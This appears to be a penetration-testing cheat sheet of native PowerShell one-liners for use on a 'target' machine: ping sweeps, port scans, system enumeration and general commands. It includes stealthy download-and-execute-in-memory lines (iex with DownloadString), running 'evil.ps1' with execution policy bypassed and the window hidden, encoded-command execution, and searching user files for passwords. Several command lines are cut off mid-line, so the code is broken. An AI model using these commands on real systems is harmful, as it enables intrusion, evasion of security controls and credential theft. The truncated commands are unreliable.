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Network Recon:

Ping Sweep:

Just replace the hard-coded subnet ID with your own:

```
PS C:\> 1..255 | % {ping -n 1 -w 100 192.168.0.$_ | Select-String
```

Port scans:

This scans all ports from 1 to 1000:

PS C:\> 1..1000 | % {echo ((New-Object Net.Sockets.TCPClient).Cor

Here's another similar variant, but this one also alerts for closed ports:

```
PS C:\> 1..1000 | % {try{$socket=New-Object System.Net.Sockets.T(
```

Scanning a thousand ports or more using PowerShell can be somewhat slow, so you may just want to use a "top ports" list to cover the most interesting target ports, like so:

```
PS C:\> (21,22,23,53,137,139,443,445,3306,3389) | % {try{$socket=
```

Now suppose you want to scan a range of machines for a single port. You can do that as well. Again, just replace the port and subnet ID values with your own. (Be warned, this is quite slow):

```
PS C:\> $port=22; 1..255 | % {$ip="192.168.0.$_"; echo ((New-Object))
```

File Downloads and Execution:

To download a file to the target machine, PowerShell has a method similar in functionality to wget on *nix systems. It is most useful when you need to download something other than a PowerShell script. If that's what you need, there is a stealthier way to execute a remote .ps1 script without writing to disk. Here is the "wget" equivalent:

```
PS C:\> (New-Object System.Net.WebClient).DownloadFile("http://<a
```

Here's the stealthier method, which downloads and executes a PowerShell script in memory, without writing any file to disk.

```
PS C:\> iex (New-Object System.Net.Webclient).DownloadString("http
```

Here's how you'd invoke the same command from a cmd.exe prompt:

```
C:\> powershell iex (New-Object System.Net.Webclient).DownloadStri
```

To execute a PowerShell script, bypassing execution restrictions and hiding the window from the user:

```
C:\> powershell -ExecutionPolicy Bypass -Window Hidden .\evil.ps1
```

To execute a Base64 encoded command:

```
C:\> powershell -EncodedCommand <base64 encoded command string>
```

System Enumeration:

To get a listing of running processes, similar to *nix "ps" command (the following are functionally equivalent aliases):

```
PS C:\> Get-Process
PS C:\> ps
PS C:\> gps
```

To see what security patches have been applied:

```
PS C:\> Get-HotFix
```

Get all services:

```
PS C:\> Get-Service
```

Get only running services:

Search recursively for a particular string within files:

```
PS C:\> Select-String -path C:\Users\*.txt -pattern password
```

General Commands:

List directory contents (The following are aliases):

```
PS C:\> Get-ChildItem
PS C:\> ls
```

PS C:\> gci PS C:\> dir

Get a list of all available commands:

PS C:\> Get-Command

Get help page for a command. Similar to man in GNU/Linux. The -examples flag is very helpful. Just as it sounds, it provides quite a few usage examples:

```
PS C:\> Get-Help <command>
PS C:\> Get-Help <command> -examples
```

These examples are small sample of the sort of things that can be done just "living off the land" on a target with a bit of native PowerShell. With additional well developed frameworks like Nishang and PowerSploit at our disposal, even more is possible.

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